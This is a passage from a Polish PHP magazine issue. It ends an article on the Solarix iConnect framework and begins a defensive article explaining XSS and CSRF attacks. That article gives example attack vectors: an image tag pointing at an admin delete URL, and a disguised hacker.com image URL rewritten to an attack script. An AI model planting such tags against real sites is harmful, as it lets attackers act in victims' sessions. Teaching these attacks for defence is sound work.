bapp) zawiera zarówno całość logiki bizne-
sowej, jak i tryby prezentacji.
Jak łatwo zauważyć, pod wieloma
względami iConnect jest podobny do J2EE.
Należy jednak pamiętać, że w odróżnieniu
od J2EE ma on udostępniać zestaw pro-
stych i lekkich API oraz specyfi kacji, pozo-
stawiając programiście większą swobodę
niż w środowisku Javy.
SolarixiConnect PlatformStruktura klas Carthaga jest podobna do
tej z Javy, w której każda klasa wewnątrz
systemu dziedziczy (bezpośrednio lub po-
średnio) po klasie Object. Wprowadzono
również system obsługi wyjątków, który
wiernie odzwierciedla ten obecny w Javie:
istnieje w nim jedna klasa przedstawiają-
ca ogólny wyjątek i cały zestaw klas, które
po niej dziedziczą i przedstawiają najbar-
dziej specyfi czne wyjątki (na poziomie ła-
dowania klas, błędnego dostępu do bazy
danych, I/O, parsowania, itd.).
Kod jest zorganizowany w postaci pa-
kietów (ang. packages), co również zostało
zainspirowane Javą: każdy pakiet posiada
swój katalog i pliki klas (ang. class fi les),
podczas gdy każda klasa znajduje się
w osobnym pliku, noszącym jej nazwę.
Przykładowo, klasa org.acme.myapp.MyApp
lication zostanie zapisana w pliku MyAp-
plication.php znajdującym się w katalogu
org/acme/myapp (ścieżka odnosząca się
do katalogu głównego (ang. root path) bie-
żącego projektu). Tak więc, w każdej klasie
(przed rozpoczęciem jej właściwego kodu)
musi się znajdować deklaracja pakietu, do
którego należy, np. Carthag::package('org
.acme.myapp');.
Aby uzyskać dostęp do funkcjonalno-
ści danej klasy, musimy wykonać jedynie
prostą procedurę importu: Carthag::impor
t('org.acme.myapp.MyApplication');.
Carthag udostępnia nam także licz-
ne klasy użytkowe, spełniające tę samą
funkcję co noszące tę samą nazwę klasy
Javy. Przykładowo, w pakiecie util znaj-
dziemy klasę Vector, która implementuje
StringBuffer, czy klasy umożliwiające
stosowanie i obsługę Iteratorów. Mamy
też do dyspozycji HashTable, klasy im-
plementujące węzły list i drzew, klasy
do obsługi archiwów, itd. W odniesieniu
do tych ostatnich, system oferuje pełną
kompatybilność ze standardami kompresji
takimi jak ZIP i TAR oraz wprowadza no-
wy format pliku, .CAR (Carthag Archive),
który stanowi archiwum skompresowane
w formacie TAR.
Ponieważ carthag zawiera w sobie lo-
gikę pozwalającą na uruchomienie aplikacji
niezależnych (ang. stand alone), możemy
wymienić trzy odmienne rodzaje aplikacji:
• uruchamiane z linii poleceń (CLI, Com-
mand Line Interface), przez odpowied-
nie skrypty: carthag (skrypt bash) i car-
thag.bat (skrypt MS-DOS). Przykłady:
carthag application.php [Enter] lub
carthag org.acme.MyApp.php[Enter].
• aplikacje typu embedded (ECA, Em-
bedded Carthag Application), urucha-
miane z sieci WWW poprzez wywoła-
nie bezpośrednie lub z linii poleceń po-
przez: PHP classname.php [Enter]
• (aplikacje embedded, ponieważ zawar-
ta jest w nich logika bootstrap carthag)
• aplikacje typu CAR (Carthag Applica-
tion Archive) które zachowują się jak
pliki JAR w środowisku Javy. Każdy
plik CAR jest skompresowanym pli-
kiem wykonywalnym (przez środowi-
sko iConnect) i zawiera odpowiednik
pliku Manifest z JAR, którym jest zwy-
kły plik tekstowy, który wskazuje w mo-
mencie uruchamiania, który który plik
wewnątrz archiwum jest odpowiedzial-
ny za uruchomienie wykonania. Aby
uruchomić plik CAR, zastosujemy in-
strukcję: carthag -c application.car
[enter].
Także obsługa wejścia/wyjścia (ang. in-
put-output) dość wiernie odzwierciedla tę
z Javy: kanały wejścia/wyjścia w Carthagu
Rysunek 1. Warstwy architektury iConnect
Solarix iConnect
PHP Solutions Nr 2/2006
Narzędzia
www.phpsolmag.org44
są obsługiwane jako strumienie (ang. stre-
am), więc oprócz podstawowych klas do-
konujących odczytu i zapisu na standar-
dowym wejściu i wyjściu (a także na pli-
ku, gnieździe (ang. socket), itd.) mamy cały
szereg klas udostępniających bardziej roz-
budowane funkcjonalności (stringReader,
printWriter, itd.).
W celu załadowania komponentów i
klas do runtime, Carthag pozwala nam na
zastosowanie metody podobnej do ana-
logicznej z Javy: każdy nowy komponent
musi zostać załadowany poprzez odpo-
wiedni ClassLoader, który weryfi kuje prawa
dostępu nowego obiektu przed jego uru-
chomieniem, zgłaszając w razie błędu sto-
sowny wyjątek.
Carthag zapewnia także pełną obsługę
połączeń z licznymi bazami danych, udo-
stępniając specjalne sterowniki dla najpo-
pularniejszych i pozostawiając programi-
ście możliwość tworzenia nowych.
Wreszcie, znaczna część funkcjonal-
ności Carthaga jest zwykle stosowana w
aplikacjach rozproszonych: iConnect Plat-
form udostępnia w sposób natywny i bez
pomocy komponentów zewnętrznych peł-
ne wsparcie przy tworzeniu gniazd bazu-
jących na protokołach TCP i UDP, przesy-
łaniu danych za pomocą protokołół SMTP
czy HTTP czy wysyłaniu emaili (także w
formacie MIME).
Obecne są też pakiety do budowania i
parsowania dokumentów XML (zarówno ty-
pu SAX jak i DOM) oraz ułatwienia pozwa-
lające używać tego języka w protokołach
typu RPC (ang. Remote Procedure Call),
takich jak SOAP. Carthag w pełni wspiera
webserwisy korzystające z SOAP, jak rów-
nież defi nicje usług poprzez WSDL i współ-
działanie z UDDI.
Enkapsulacja logiki biznesowej w Solarix iConnect EASEAS jest systemem do tworzenia i uru-
chamiania rozproszonych i bazujących na
komponentach aplikacji business-level.
Komponenty EAS (zwane modułami) są
odpowiedzialne za obsługę logiki bizneso-
wej, przekształcając ją w system obiekto-
wo zorientowany. Dodatkowo, tam gdzie
trzeba, wprowadza mapowanie relacyj-
no-obiektowe, pozwalające dostosować do
siebie dwa światy: relacyjny (bazy danych)
i obiektowy.
Raz stworzony moduł EAS możemy
zainstalować na dowolnej ilości platform,
bez konieczności jakiegokolwiek modyfi ko-
wania kodu lub pakietu. Z kolei programiści
nie muszą własnoręcznie implementować
takich funkcji, jak obsługa trwałości czy lo-
gika wsparcia usługi rozproszonej, gdyż są
to funkcjonalności obsługiwane bezpośred-
nio przez EAS.
Moduły EAS są zamknięte w archi-
wach typu EAS (w formacie TAR) zawiera-
jących dwa katalogi:
• Classes: zawiera właściwe klasy apli-
kacyjne,
• META-INF: katalog zawierający plik
eas.xml.
Każdy moduł EAS zawiera przynajmniej
jedną klasę, która z kolei musi mieć refe-
rencje do wnętrza pliku eas.xml. Jest to
więc klasa, która zostanie użyta jako entry
point modułu i która będzie wywołana
w celu umożliwienia dostępu ze strony
aplikacji zdalnych. Aby tak było, zaczniemy
od zapewnienia, że nasza klasa dziedziczy
po jednej z klas abstrakcyjnych com.sola
rix.eas.EASObject lub com.solarix.eas
.EASPersistentObject, zależnie od tego,
czy trwałość obiektów jest konieczna, czy
nie (dzięki trwałości obiekty mogą zostać
przekształcone na pola bazy danych i na
odwrót; możliwe jest także wyszukiwanie
danych w bazie i otrzymywanie rezultatów
Rysunek 2. Struktura Solarix iConnect WAS
Solarix iConnect
PHP Solutions Nr 2/2006
Narzędzia
www.phpsolmag.org 45
jako obiekty). Zgodnie z konwencją, na-
zwa każdej metody udostępnianej przez
nasz moduł EAS powinna się zaczynać
od przedrostka eas, np. MyEASObject::
easHelloWorld();.
Każdy moduł EAS wyróżnia się po-
przez jednoznaczny identyfi kator. Do po-
prawnego funkcjonowania musi również
zostać zainstalowany wewnątrz EAS po-
przez standardową procedurę uruchamia-
nia czyli deploymentu: easdeployer deploy
myeas.eas [Enter]. Następnie uruchamia-
my EAS (który także jest skryptem PHP-
owym), aby umożliwić naszej aplikacji do-
stęp do modułu poddanego wcześniej de-
ploymentowi: easserver start [Enter].
Po poprawnym zainstalowaniu modu-
łu ustawiamy uprawnienia dostępu w pliku
konfi guracyjnym EAS-a (users.xml) w ka-
talogu eas/conf, co pozwala nam określić,
które moduły EAS będą dostępne dla każ-
dego użytkownika.
Warto również wiedzieć, że dzięki
EAS-owi każda aplikacja może uzyskać
dostęp do zdalnych modułów, tak jakby
były one obecne na lokalnym serwerze.
W celu zidentyfi kowania zdalnego modułu
trzeba określić EAS locator, który należy
przekazać klasie EASFactory, gdy chcemy
utworzyć instancję zdalnej klasy. Locator
jest po prostu adresem typu URL, za
pomocą którego aplikacja otrzymuje in-
formacje potrzebne do połączenia się ze
zdalnym EAS; konstrukcja locatora jest
następująca:
eas://nazwa_użytkownika:
hasło@nazwa_węzła:
port/nazwa_modułu_eas
Przykładowo, gdy chcemy zastosować mo-
duł org.acme.myeas zainstalowany na por-
cie 9000 węzła www.acme.org mając ha-
sło mypwd i konto myuser, locator będzie na-
stępujący:
$loc='eas://myuser:
9000/org.acme.myeas';
Po określeniu locatora należy stworzyć lo-
kalny interfejs, poprzez który uzyskamy do-
stęp do funkcjonalności zdalnego modułu:
$hw=EASFactory::
getEAS(new EASLocator($loc));
w tym momencie możemy zastosować
metody zdalnego modułu tak, jakby był
on zainstalowany lokalnie: echo $hw->
easHelloWorld();
Klasa modułu org.acme.myeas zosta-
nie określona jak na Listingu 1.
Budowanie aplikacji WWW przy użyciu iConnect WASWeb Application Server (WAS) odgrywa
w architekturze iConnect tę samą rolę,
co Jakarta Tomcat w Javie. Jego zada-
niem jest uruchamianie i umożliwianie
działania aplikacji webowych (zwanych
też webapps). Zapewnia też funkcjonal-
ność zbliżoną do servletów, zwaną we-
bapp handlers oraz do JSP (strony PHP
przetworzone przez odpowiedni webapp
handler).
Podczas uruchamiania, WAS integruje
się z Apache i, w przeciwieństwie do EAS,
nie działa w tle i przy każdym żądaniu po-
kazania strony WWW tworzona jest jego
instancja.
Każde nowe żądanie jest przetwarza-
ne przez Apache, który, jeśli jest popraw-
nie skonfi gurowany, przekazuje natych-
miast kontrolę webapp handlerowi, który
z kolei obsługuje żądanie bazując na wzor-
cach uruchomieniowych określonych w pli-
ku web.xml znajdującym się w folderze
WEB-INF bieżącej aplikacji webowej. Jed-
na aplikacja może zostać skonfi gurowana
w sposób umożliwiający zastosowanie
większej liczby handlerów, w związku
z czym może dla niej istnieć wiele wzor-
ców uruchomieniowych. Aplikacja webo-
wa lub zewnętrzna może defi niować nowe
webapp handlers, którym towarzyszą dwa
zapewniane przez WAS: handler domyśl-
ny, odpowiedzialny za dostarczenie żąda-
nych plików oraz handler odpowiadający
za wykonanie skryptów PHP.
Aplikacje webowe są zwykle rozpo-
wszechniane w formie archiwów TAR.
Nazwa katalogu zawierającego pliki jest
także nazwą aplikacji, a uruchomienie
(deployment) każdej aplikacji odbywa się
Rysunek 3. Struktura Solarix iConnect Portal ServerEAS
Solarix iConnect
PHP Solutions Nr 2/2006
Narzędzia
www.phpsolmag.org46
w katalogu webapp WAS-a i może zostać
wykonane dwojako:
• poprzez aplikację administracyjną ad-
min należącą do WAS, przy użyciu
funkcji Deploy a new web application,
• poprzez odpowiedni skrypt deployer
obecny w katalogu bin należącym do
WAS: deploy method webapp-name
[Enter].
Wewnątrz katalogu WAS-a conf/webapp-
skel znajdujemy szkielet pustej aplikacji
oraz prekonfi gurowany plik web.xml, który
można wykorzystać w nowej aplikacji.
Po wykonaniu deploymentu możemy
uruchomić aplikację webową za pośred-
nictwem WWW przechodząc do jej kata-
logu lub wirtualnego hosta (jeśli takowy
ustawiliśmy w Apache'u).
Plik web.xml defi niuje, który z plików
ma być domyślnym indeksem aplikacji.
Przykładowo, aby uruchomić plik exam-
ple.php należący do zainstalowanej na
lokalnym serwerze WWW aplikacji mywe-
bapp, wpisalibyśmy URL: http://localhost/
was/webapp/index.php/example.php.
Pamiętamy, że plik index.php jest wy-
magany do uruchomienia każdej aplikacji
webowej. Jego zadaniem jest przekie-
rowanie żądania do prawdziwego WAS
receivera – na tym mechanizmie opiera się
każdorazowe uruchamianie całego WAS-a.
Budowanie aplikacji modularnej przy użyciu iConnect Portal ServeriConnect Portal Server jest systemem ob-
sługi prezentacji i dostarczania (ang. de-
livery) danych przeznaczonych do budo-
wania portali klasy Enterprise w ramach
iConnect Web Application Server.
Portal Server defi niuje nowy webapp
handlera, który zostanie wywołany przez
WAS w momencie wykonania aplikacji
webowej. System wprowadza również
zestaw nowych koncepcji i klas przezna-
czonych do konstruowania sajtów typu
portlet.
Podstawowymi elementami służącymi
do konstruowania aplikacji webowych
poprzez Portal Server są: siatka, tematy,
moduły, sloty, bloki, klasy, strony i szablony
(templates).
Moduł to kolekcja stron, bloków
i klas. Może także stosować strony,
bloki oraz klasy innych modułów. Zwy-
kle konstruujemy aplikację łącząc kilka
modułów. Aby nasza aplikacja wykorzy-
stywała dany moduł, wprowadzamy go
do jej podkatalogu WEB-INF/modules
(nazwa katalogu będzie tożsama nazwie
modułu). Typowy moduł będzie zawierał
następujące katalogi:
• classes: katalog, w którym zapisujemy
wszystkie klasy odnoszące się do bie-
żącego modułu, wykorzystując stan-
dardową metodę Carthag (classes/
org/acme/mymodule/MyClass.php)
– ten katalog zostaje automatycznie
dołączony do bieżącego classpath
w momencie, w którym moduł jest wy-
konywany,
• pages: katalog zawierający strony na-
leżące do bieżącego modułu,
• blocks: zawiera defi nicję pojedyn-
czych bloków modułu i ich szablonów.
Każdy blok składa się z pliku defi nicji,
z klasy odpowiedzialnej za określenie
struktury logicznej i z szablonu, który zaj-
muje się prezentacją bloku. Klasa bloku
musi obejmować:
• com.solarix.portalserver.page.Portal-
ServerBlock
Przyjrzyjmy się przykładowi bloku, które-
go klasą jest:
• helloworld/classes/helloworld/Hello
World.php,
• Defi niuje ona wiadomość i przekazuje
ją do szablonu (Listing 2).
Defi nicja wewnątrz pliku helloworld/blocks/
helloworld.xml będzie mieć postać zbliżo-
ną do:
<?xml version="1.0"?>
<block>
<class> helloworld.HelloWorld</class>
<template>helloworld.tpl.php</template>
</block>
Za jej pomocą opisaliśmy Portal Serverowi
połączenia między klasą i odpowiednim
szablonem, co równa się ustanowieniu
relacji pomiędzy danymi i sposobem ich
wizualizacji).
Aplikacja webowa wykorzystująca
Portal Server musi zawierać także przy-
najmniej jedną siatkę, tj. dokument XML
opisujący rodzaj kontenera, wewnątrz któ-
rego będą rozdysponowane bloki. Każdy
z tych slotów może zawierać wiele bloków
(kolejność ich rozmieszczenia w ramach
jednego slotu określa także kolejność wy-
świetlania bloków).
Na koniec, strony defi niują sposób or-
ganizacji bloków w ramach siatki oraz ich
layout. Zależnie od bloku, ta sama strona
może być wykorzystana do wizualizacji
różnych rodzajów zawartości.
Na Listingu 3 przedstawiamy przy-
kładową stronę zapisaną wewnątrz pli-
ku helloworld/pages/index.xml, która uży-
wa bloku helloworld, w którym pola
<column> i <row> odnoszą się do pozy-
cji bloku w ramach siatki, podczas gdy
pole <position> wskazuje pozycję bloku
w ramach slotu.
Szablony są używane zarówno przez
siatki, jak i bloki. Każdy blok posiada
swój szablon, który w momencie uru-
chomienia aplikacji podlega parsowa-
niu i jest włączany do siatki w miejscu
określonym przez jej logikę. Przyjrzyjmy
się teraz bardzo prostemu szablo-
nowi, który możemy zapisać w pliku
helloworld/blocks/helloworld.tpl.php.
Używamy go w celu wyświetlania rezul-
tatu działania zdefi niowanej wcześniej
klasy HelloWorld: <p><?=$message;?></p>.
Listing 2. Defi nicja klasy HelloWorld
Carthag::package('helloworld');
Carthag::import('com.solarix.portalserver.page.PortalServerBlock');
class HelloWorld extends PortalServerBlock {
public function run(WebAppRequest $req, WebAppResponse $res) {
$this->set('message', 'Hello World!');
}
}
Listing 1. Klasa HelloWorldEAS,
należąca do przykładowego modułu
org.acme.myeas
class HelloWorldEAS extends EASObject{
public function easHelloWorld() {
return 'Hello World!';
}
public function deploy() {}
public function undeploy() {}
public function redeploy() {}
}
Solarix iConnect
PHP Solutions Nr 2/2006
Narzędzia
www.phpsolmag.org 47
Zmienna $message jest tą samą zmienna
ustawioną przez klasę HelloWorld: $this
->set('message', 'Hello World!'). W ramach
szablonu, który jest zwykłym skryptem
PHP, możemy zastosować jakąkolwiek in-
strukcję zarówno udostępnianą przez PHP
oraz korzystać ze zmiennych PHP-owych
(również tablic, które możemy przekazać
do wzorca korzystając z funkcji $this->set
Array('nazwaTablicy', $array)).
Aby móc wyświetlić stronę utworzoną w
wyniku działania Portal Servera, stosujemy
się do zwykłej konwencji ustalając struk-
turę URL-a w następujący sposób: http://
nazwa_witryny/index.php/nazwa_modułu/
nazwa_strony/. Przykład: http://www.acme.
org/index.php/helloworld/index/.
W celu przekazania parametrów wy-
branej stronie stosujemy konwencję, zgod-
nie z którą konstruujemy nazwę parame-
tru umieszczając najpierw nazwę modu-
łu, do którego jest on skierowany. Przy-
kładowo, chcąc wywołać stronę należą-
cą do modułu content, do której zamierza-
my przekazać nazwę strony do wyświetle-
nia, nazwiemy ten parametr content_page:
http://www.acme.org/index.php/common/
std?content_page=index.
Zauważmy, że każdy blok znajdujący się
w ramach strony odpowiada wyłącznie za
swój obszar i wykorzystuje wyłącznie wła-
sną logikę wykonywania.
Przykład prostejaplikacji Web iConnectStwórzmy aplikację, która będzie pisała fra-
zę Hello World na stronie WWW. Aby nieco
skomplikować cała sprawę, użyjemy por-
talu Servera do wypisania frazy, która zo-
stanie mu przekazana przez serwer WAS,
który z kolei otrzyma ją od modułu EAS.
Naszą aplikację webową nazwiemy hello-
worldapp, a moduł EAS – HelloWorldEAS.
Oczywiście, wykorzystamy wszystkie
komponenty iConnect:
• Carthag jako platformę podstawową,
• iConnect Enterprise Application Ser-
ver dla logiki biznesowej (wygenero-
wania frazy do wyświetlenia),
• iConnect Web Application Server
w celu uruchomienia aplikacji i obsługi
jej wykonania jako aplikacji webowej,
• iConnect Portal Server w celu struktu-
ralizacji prezentacji samej witryny.
• Moduł EAS będzie się składał z jednej
klasy (helloworldeas.HelloWorldEAS),
tej samej co przedstawiona wcześniej.
Zawartość pliku eas.xml będzie wyglą-
dała jak na Listingu 4. W tym momen-
cie możemy ustalić uprawnienia w pliku
users.xml, uruchomić moduł i wystartować
EAS server. Przechodzimy teraz do apli-
kacji webowej, która będzie się składać
z modułu helloworld, zawierającego kla-
sę helloworld.HelloWorld, bloku hello-
world oraz strony index. Chcąc wykorzy-
stać Portal Server do obsługi warstwy pre-
zentacji, musimy skonfi gurować plik web.
xml naszej aplikacji webowej, aby używał
Portal Servera jako handlera:
<handler>
<handlername>default</handlername>
<handlerclass>com.solarix.portalserver
.handler.PortalServerWebAppHandler
</handlerclass>
</handler>
Klasa HelloWorld będzie wykorzystywać
moduł EAS, aby uruchomić wykonanie lo-
giki biznesowej aplikacji:
$hw = EASFactory :: getEAS(new
EASLocator('eas://test:[email protected]:
9000/helloworldeas'));
$message = $hw->easHelloWorld();
Następnie ustawimy rezultat obliczenia
i przekażemy kontrolę cześci aplikacji
odpowiedzialnej za prezentację: $this->
set(‘message’, $message);. Szablon
helloworld/blocks/helloworld.tpl.php
wypisze wiadomość na stronie WWW:
<p><?=$message;?></p>.
Plik helloworld/blocks/helloworld.xml
łączy szablon z jego klasą w następujący
sposób:
<?xml version="1.0"?>
<block>
<class>helloworld.HelloWorld</class>
<template>helloworld.tpl.php</template>
</block>
Następnie dodajemy do aplikacji webowej
defi nicję strony home/pages/index.xml
i komponujemy jej zawartość w sposób
pokazany na Listingu 5. Po uruchomieniu
możemy wyświetlić stronę poprzez WWW,
aby zobaczyć wiadomość Hello World!.
PodsumowanieSolarix iConnect to architektura o ogrom-
nych możliwościach. My pokazaliśmy ich
część mając nadzieję pomóc użytkowniko-
wi zorientować się w nich i zachęcić do ko-
rzystania z tego rozwiązania. Przeniesienie
nowoczesnego, wydajnego i elastycznego
modelu tworzenia aplikacji w Javie do PHP
otwiera przed programistami PHP możliwo-
ści, o których dawniej nie było mowy.
W kolejnym numerze PHP Solutions
będziemy kontynuować temat iConnect,
przedstawimy jego zastosowania w prak-
tyce. �
Alex Pagnoni jest dyrektorem zarządza-
jącym włoskiej fi rmy Solarix (www.sola-
rix.it) zajmującej się innowacjami infor-
matycznymi przeznaczonymi dla biznesu
(Business Innovator). Poza swoją działal-
nością związaną z kierowaniem fi rmą, pa-
sjonuje się informatyką i w czasie wolnym
programuje w PHP, który zna od 1999
roku. Jest autorem dwóch platform do
tworzenia aplikacji WWW: Ampoliros dla
PHP4 i architektury iConnect dla PHP5.
Kontakt z autorem:
O autorze
Listing 3. Przykładowa strona
korzystająca z bloku helloworld
<?xml version="1.0"?>
<page>
<block>
<module>helloworld</module>
<name>helloworld</name>
<column>2</column>
<row>1</row>
<position>1</position>
</block>
</page>
Listing 4. Zawartość pliku eas.xml
<?xml version="1.0"?>
<easconfi g>
<name>helloworldeas</name>
<version>1.0</version>
<class>
helloworldeas.HelloWorldEAS
</class>
</easconfi g>
Listing 5. Defi nicja strony home/
pages/index.xml
<?xml version=”1.0”?>
<page>
<block>
<module>helloworld</module>
<name>helloworld</name>
<column>2</column>
<row>1</row>
<position>1</position>
</block>
</page>
Bezpieczeństwo
www.phpsolmag.org48 PHP Solutions Nr 2/2006
Aby raz na zawsze rozprawić się
z obiegowymi opiniami o nieszko-
dliwości ataków XSS (ang. Cross-
Site Scripting) i CSRF (ang. Cross-Site
Request Forgery), w tym artykule wcielę
się w rolę napastnika i postaram się
pokazać, że odpowiednio podstawiając
rzekomo nieszkodliwe fragmenty kodu
HTML można osiągnąć niezwykłe wręcz
efekty, od podszycia się pod konkretnego
użytkownika po całkowicie niezauważalną
podmianę całej treści witryny.
O atakach XSS i CSRFNa początku powiemy kilka słów o istocie
ataków XSS i CSRF. Cel obu typów ata-
ków jest taki sam: wykorzystując określo-
ną podatność, napastnik ma możliwość
wstawienia na stronę dowolnego kodu,
który następnie może posłużyć do wyko-
nywania operacji niezamierzonych przez
twórcę witryny – na przykład przechwyty-
wania plików cookies nic nie podejrzewa-
jącego użytkownika.
Spośród wszystkich zagrożeń bezbieczeństwa
aplikacji internetowych, zwłaszcza tych
napisanych w PHP, zdecydowanie najczęstszym
jest podatność na ataki XSS i CSRF. Jednak
nawet w przypadku ujawnienia tego typu
słabości w aplikacji, programiści na ogół
niechętnie zajmują się ich usuwaniem, mylnie
twierdząc, że wszelkie ataki tego typu i tak
są nieszkodliwe – może zresztą dlatego nie
interesują się odpowiednim zabezpieczaniem
tworzonych aplikacji od samego początku.
Różnica między XSS i CSRF polega
na metodzie dostarczenia kodu używane-
go do ataku. XSS wykorzystuje możliwość
wstawienia dowolnego kodu do niespraw-
dzonego pola tekstowego, na przykład
zgłoszonego z formularza metodą POST,
natomiast podczas ataku typu CSRF, do
pobrania i wykonania używanego przez
intruza kodu wykorzystywany jest nie brak
walidacji, tylko określone funkcje przeglą-
darek internetowych.
Strzeż się nieznanych
plików grafi cznych
Najprostszy i zarazem najczęściej spotyka-
ny rodzaj ataku CSRF opiera się na wyko-
Niebezpieczeństwa ataków XSS i CSRFIlia Alshanetsky
W SIECI
1. http://www.secunia.com –
komunikaty bezpieczeństwa
dla popularnych aplikacji
2. http://phpsec.org/ – PHP
Security Consortium
3. http://hakin9.org – hakin9,
magazyn o hakingu i bezpie-
czeństwie komputerowym
4. http://pear.php.net/package/
HTML_BBCodeParser
– parser BBCode
5. http://pixel-apes.com/
safehtml – pakiet SafeHTML
fi rmy Pixel-apes
6. http://shifl ett.org/ – strona
domowa Chrisa Shifl etta
Co powinieneś wiedzieć...Powinieneś znać podstawy PHP, HTML
i JavaScriptu.
Co obiecujemy...Dowiesz się na czym polegają ataki XSS
i CSRF oraz jak się przed nimi bronić.
Stopień trudności: ���
48_49_50_51_52_53_54_XSS_PL.indd 48 2006-01-12, 17:07:41
XSS, CSRF Bezpieczeństwo
www.phpsolmag.org 49PHP Solutions Nr 2/2006
rzystaniu HTML-owego znacznika <img>,
służącego do wyświetlania obrazów.
Zamiast znacznika zawierającego URL
pliku grafi cznego, napastnik podstawia
tag wskazujący na kod JavaScriptu, który
zostanie uruchomiony w przeglądarce
ofi ary. Pozwala to wykonywać najróżniej-
sze operacje w ramach sesji użytkownika,
który często nie jest nawet świadom tego,
że właśnie trwa atak.
Innym ważnym aspektem tych ataków
jest sposób prezentowania ofi erze zmo-
dyfi kowanej strony. W większości przy-
padków napaść polega na dodawaniu lub
modyfi kacji treści strony poprzez zmianę
adresu URL dla żądania GET i nakłonie-
nie użytkownika do kliknięcia na link do te-
go adresu. Ten ostatni etap ataku wymaga
nieco socjotechniki i stąd właśnie bierze
się mylne przeświadczenie o nieszkodli-
wości ataków XSS – w końcu ich powo-
dzenie wymaga współpracy użytkownika
(nawet jeśli jest ona nieświadoma).
Tak się jednak składa, że jest to tylko
jeden z możliwych sposobów dostarczenia
danych atakujących. Informacje niezbędne
do przeprowadzenia ataku XSS mogą też
być trwale składowane – jeśli napastnikowi
uda się zapisać złośliwe dane w atakowa-
nej witrynie, to mogą one być wykonywane
dla dowolnej liczby użytkowników odwie-
dzających serwis bez żadnych działań z ich
strony. Oznacza to, że żadne wybiegi so-
cjotechniczne nie są potrzebne, gdyż na
atak narażony jest każdy użytkownik od-
wiedzający zmodyfi kowaną witrynę.
Wykonanie kodu niezbędnego dla
ataku CSRF (który może być osadzony
w ramach XSS) jest jeszcze łatwiejsze:
wystarczy wysłać ofi erze e-maila zawie-
rającego odpowiedni kod HTML. W chwili
otwierania wiadomości przez program
pocztowy wykonywany jest zawarty
w niej kod HTML, co pozwala na prze-
prowadzanie wszelkiego rodzaju ataków
XSS i CSRF, zwłaszcza, że treść listów
zawierających HTML jest automatycznie
wykonywana przez większość programów
pocztowych pozwalających na korzystanie
z HTML-a.
Pierwszy atak CSRFZnamy już zasady przeprowadzania ata-
ków, ale nadal nie wiemy, dlaczego fak-
tycznie mogą one stanowić problem. Na
początek zajmiemy się przeprowadzeniem
ataku CSRF, gdyż jest on najłatwiejszy do
wykonania i wiele aplikacji jest na niego
podatnych. Dla potrzeb artykułu przepro-
wadzimy atak za pośrednictwem aplikacji
takiej, jak forum lub blog, pozwalającej
użytkownikom osadzać w swoich wypo-
wiedziach (postach) obrazy za pomocą
znacznika <img> lub odpowiadającego
mu znacznika BBcode [img]. Atak polega
na podaniu w ramach znacznika adresu
URL wskazującego nie na plik grafi czny,
lecz na inną stronę tego samego serwi-
su, której wywołanie z żądaniem GET
powoduje wykonanie określonej operacji,
na przykład http://foobar.com/admin/
delete_msg=1. Gdy użytkownik załaduje tę
stronę, przeglądarka spróbuje pobrać plik
obrazu, tym samym wykonując polecenie
powodujące (w tym przypadku) usunięcie
wiadomości o identyfi katorze 1. Taki atak
nie będzie skuteczny dla wszystkich użyt-
kowników, ale to akurat nie szkodzi, gdyż
wystarczy, że powiedzie się raz. Podatni
na ten konkretny atak będą wszyscy użyt-
kownicy, którzy są zalogowani w serwisie
foobar.com i na których komputerze zapi-
sany jest plik cookie poświadczający ich
autoryzację w ramach tego serwisu. Plik
jest wysyłany do serwera przy każdym
żądaniu strony i zawiera informacje nie-
zbędne do autoryzowania operacji podsta-
wionej przez intruza.
O tym, jak przeglądarki
pomagają napastnikom
Starsze wersje Internet Explorera i innych
przeglądarek potrafi ły wręcz wykonywać
i wyświetlać całe strony WWW ukryte
w znacznikach grafi ki – jeśli adres URL
wskazywał na plik HTML, przeglądarka
wyświetlała i wykonywała wskazaną stro-
nę, włącznie z pobraniem wszystkich jej
elementów. Jest to o tyle niebezpieczne,
że taka strona może zawierać kod Ja-
vaScript modyfi kujący zawartość strony
wywołania, do którego uzyskuje dostęp
poprzez właściwość window.opener.
Ta droga ataku była stosowana we
wczesnych atakach CSRF, wykorzystywa-
nych przez oszustów usiłujących nakłonić
użytkowników do odwiedzenia ich witryn
poprzez sztuczne windowanie pozycji swo-
ich stron w agregatorach obliczających po-
pularność witryny na podstawie liczby po-
chodzących z niej odwołań. Najczęstszą
metodą ataku było osadzanie na stronach
spreparowanych obrazków z odsyłacza-
mi do agregatorów, przez co przeglądar-
ka każdego użytkownika otwierającego za-
atakowaną stronę wysyłała żądanie pobra-
nia witryny napastnika, a to z kolei powo-
dowało sztuczne zwiększanie liczby od-
wołań do strony i szybko windowało witry-
nę oszusta na wysoką pozycję. Metoda ta
bywa wciąż używana, ale jej skuteczność
opiera się na zamieszczeniu przypisane-
go konkretnej witrynie odnośnika do serwi-
su agregującego. Gdyby na przykład witry-
na foobar.com otrzymała adres zliczający
http://tracker.com/?sid=1234, nieuczciwy
operator mógłby wstawiać ten odsyłacz na
różne strony (a nie tylko na swoją własną),
przez co każde otwarcie strony zawierają-
cej takiego linka byłoby liczone jako wizyta
na stronie foobar.com, w efekcie sygnali-
zując witrynie tracker.com duży ruch na fo-
obar.com. Na szczęście ładowany jest za-
wsze ten sam adres URL, więc do ujaw-
nienia oszustwa najczęściej wystarczy pro-
ste sprawdzanie nagłówka HTTP Referer.
Innego rodzaju atak ma przede
wszystkim na celu zepsucie układu stro-
ny poprzez zamieszczenie odsyłacza do
niewielkiego pliku grafi cznego zawierają-
cego bardzo duży obraz, która na pew-
no zapełni cały ekran, spychając z niego
wszelką inną zawartość. Ogromny GIF
o wymiarach 2000 na 2000 pikseli może
zajmować zaledwie 3786 bajtów, ale za-
pełni cały ekran, niezależnie od rozdziel-
czości i rozmiarów monitora. Oczywiście
nie jest to działanie szkodliwe, a jedynie
irytujące.
Zapewne myślisz sobie teraz: nie nie,
moja aplikacja nie jest taka głupia – nie do-
puszcza byle jakich odsyłaczy do obrazów,
tylko używa funkcji PHP getimagesize()
do sprawdzenia, czy każdy ładowany ob-
raz jest faktycznie plikiem grafi cznym o do-
puszczalnych wymiarach i wielkości.
Nie wszystko złoto co się świeci
Niestety, takie zabezpieczenie można z ła-
twością ominąć. Aby przejść podstawowe
sprawdzanie rozszerzenia pliku, napastnik
dostarcza URL faktycznie wyglądający jak
adres pliku grafi cznego, na przykład http://
hacker.com/me.jpg, co pozwoli uśpić
czujność mechanizmów testujących po-
prawność rozszerzenia. Teraz korzystając
z modułu mod_rewrite wystarczy podmie-
nić odwołanie do me.jpg na adres skryptu
PHP przeprowadzającego atak, by uzy-
skać możliwość wykonania w zasadzie
dowolnego kodu:
XSS, CSRFBezpieczeństwo
